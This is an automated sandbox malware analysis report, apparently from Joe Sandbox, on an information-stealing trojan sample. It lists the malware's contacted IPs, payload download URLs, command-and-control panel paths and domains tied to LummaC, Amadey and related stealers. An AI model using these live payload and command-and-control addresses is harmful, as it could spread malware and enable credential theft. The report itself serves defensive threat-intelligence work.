http://ocsp.rootca1.amazontrust.com0:	7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	7349a3c308.exe, 0000000C.00000003.2598184093.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572394930.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2598360080.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572138850.0000000005653000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/x3team/random.exeNjR	skotes.exe, 00000005.00000002.2960801644.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	false	high
http://openid.net/srv/ax/1.0	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	high
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://raw.githubusercontent.com	d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002E26000.00000004.00000800.00020000.00000000.sdmp	false	high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 0000000E.00000002.2644831991.000000000289C000.00000004.00000010.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.microsof	7349a3c308.exe, 0000000C.00000003.2572138850.0000000005655000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	false	high
http://specs.openid.net/extensions/oauth/1.0	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://raw.githubusercontent.com	d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002E3E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://openid.net/signon/1.1	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	high
http://openid.net/sreg/1.04http://openid.net/sreg/1.1	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exe1aa13	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	7349a3c308.exe, 0000000C.00000003.2572394930.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://sci.libertyreserve.com/	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/2	7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/apiTx	7349a3c308.exe, 0000000C.00000002.2758616096.0000000000F29000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2752515980.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.sectigo.com0	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click:443/apir	7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com	d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exeed	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contoso.com/License	powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/1.244.11/files/london/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lossekniyyt.click/	44098beb09.exe, 0000000A.00000002.2637712384.0000000001413000.00000004.00000020.00020000.00000000.sdmp, 44098beb09.exe, 0000000A.00000002.2637238113.000000000139D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	7349a3c308.exe, 0000000C.00000003.2598184093.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572394930.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2598360080.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572138850.0000000005653000.00000004.00000800.00020000.00000000.sdmp	false	high
http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/london/random.exe;	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lossekniyyt.click/apimmon	44098beb09.exe, 0000000A.00000002.2637712384.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/geopoxid/random.exeU(	skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://github.com	d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/t%	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://specs.openid.net/auth/2.0	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/apiCl	7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click:443/api	7349a3c308.exe	false	unknown
http://185.215.113.43/Zu7JuNko/index.php;	skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.131.246	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.67.146	cheapptaxysu.click	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578726
Start date and time:	2024-12-20 09:10:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4259/32@4/6
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): treehoneyi.click, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, aspecteirs.lat, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 7349a3c308.exe, PID 7612 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:12:00	API Interceptor	103470x Sleep call for process: skotes.exe modified
03:12:15	API Interceptor	8x Sleep call for process: 44098beb09.exe modified
03:12:27	API Interceptor	8x Sleep call for process: 7349a3c308.exe modified
03:12:39	API Interceptor	24x Sleep call for process: powershell.exe modified
03:12:49	API Interceptor	64x Sleep call for process: d3ba7fdf70.exe modified
08:11:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.131.246	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
172.67.131.246	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse
20.233.83.145	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.199.109.133
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.199.109.133
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.199.111.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.199.111.133
	pyld611114.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Lu4421.exe	Get hash	malicious	Stealerium	Browse	185.199.111.133
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
lossekniyyt.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.12.88
github.com	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	140.82.121.4
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	20.233.83.145
	https://github.com/starise/win11-virtual-desktop-extension/releases/download/1.1.0/VirtualDesktopExtension-1.1.0.msi	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	20.233.83.145
cheapptaxysu.click	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	172.67.177.88
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse	104.18.142.119
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.180.113
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	https://us-east-2.protection.sophos.com/?d=purogosouls.github.io&u=aHR0cHM6Ly9wdXJvZ29zb3Vscy5naXRodWIuaW8vNjRkczZmNHM5ZDRmODlzZDRzZjQ2c2Q0ZjYv&i=NWQ0M2E1N2M3M2U5MzQxMGM1NjBhNmQ1&t=dEtlN04wQWZmZ0hqZlpiZEYwVXZ4NHFvc2NQNGtsUWl4Unlndk5helZOaz0=&h=356f16f6a39049efa5b305c7477e094a&s=AVNPUEhUT0NFTkNSWVBUSVZaHP6eDnex344kFPbGkNGwPXEfGJHtcvdIV0gRc1_JzA%20us-east-2.protection.sophos.com	Get hash	malicious	HTMLPhisher	Browse	104.21.49.70
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	Dec 2024_12192924_Image.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.49.70
	http://senalongley.com	Get hash	malicious	Unknown	Browse	104.21.96.47
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
MICROSOFT-CORP-MSN-AS-BLOCKUS	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	20.42.65.90
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	22.159.187.82
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	20.188.102.231
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	20.163.175.43
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	20.30.146.35
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	52.157.171.78
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	20.82.161.219
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	143.64.232.83

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	20.233.83.145 185.199.110.133
	https://kubota.highq.com/kubota/externalAccess.action?linkParam=248Md4JKaxiIU4vwlQaNq5FLgPVNq03doY6pcXaLJD4%3D&documentDownload=link	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	https://kubota.highq.com/kubota/viewUserProfile.action?metaData.encryptTargetUserID=D1l4_GI3rHw=&metaData.updateUserProfileProcess=true	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	https://track.samsupport.jmsend.com/z.z?l=aHR0cHM6Ly9zYW1zdXBwb3J0cy1jb20uam1haWxyb3V0ZS5uZXQveC91P3U9ZWJlNTI4YmMtYTNjMS00NjI0LWFmZjEtYzcwNDJmMjczZWIw&r=14771356625&d=20437066&p=1&t=h&h=40dfe9be3647ce867f619b07dd91c655	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	Employee_Letter.PDFuJPefyDW1j.url	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	20.233.83.145 185.199.110.133
	8N8j6QojHn.dll	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	8N8j6QojHn.dll	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.233.83.145 185.199.110.133
a0e9f5d64349fb13191bc781f81f42e1	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.131.246 104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.131.246 104.21.67.146
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	172.67.131.246 104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	172.67.131.246 104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.131.246 104.21.67.146
	hubus.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.131.246 104.21.67.146
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	172.67.131.246 104.21.67.146
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	172.67.131.246 104.21.67.146
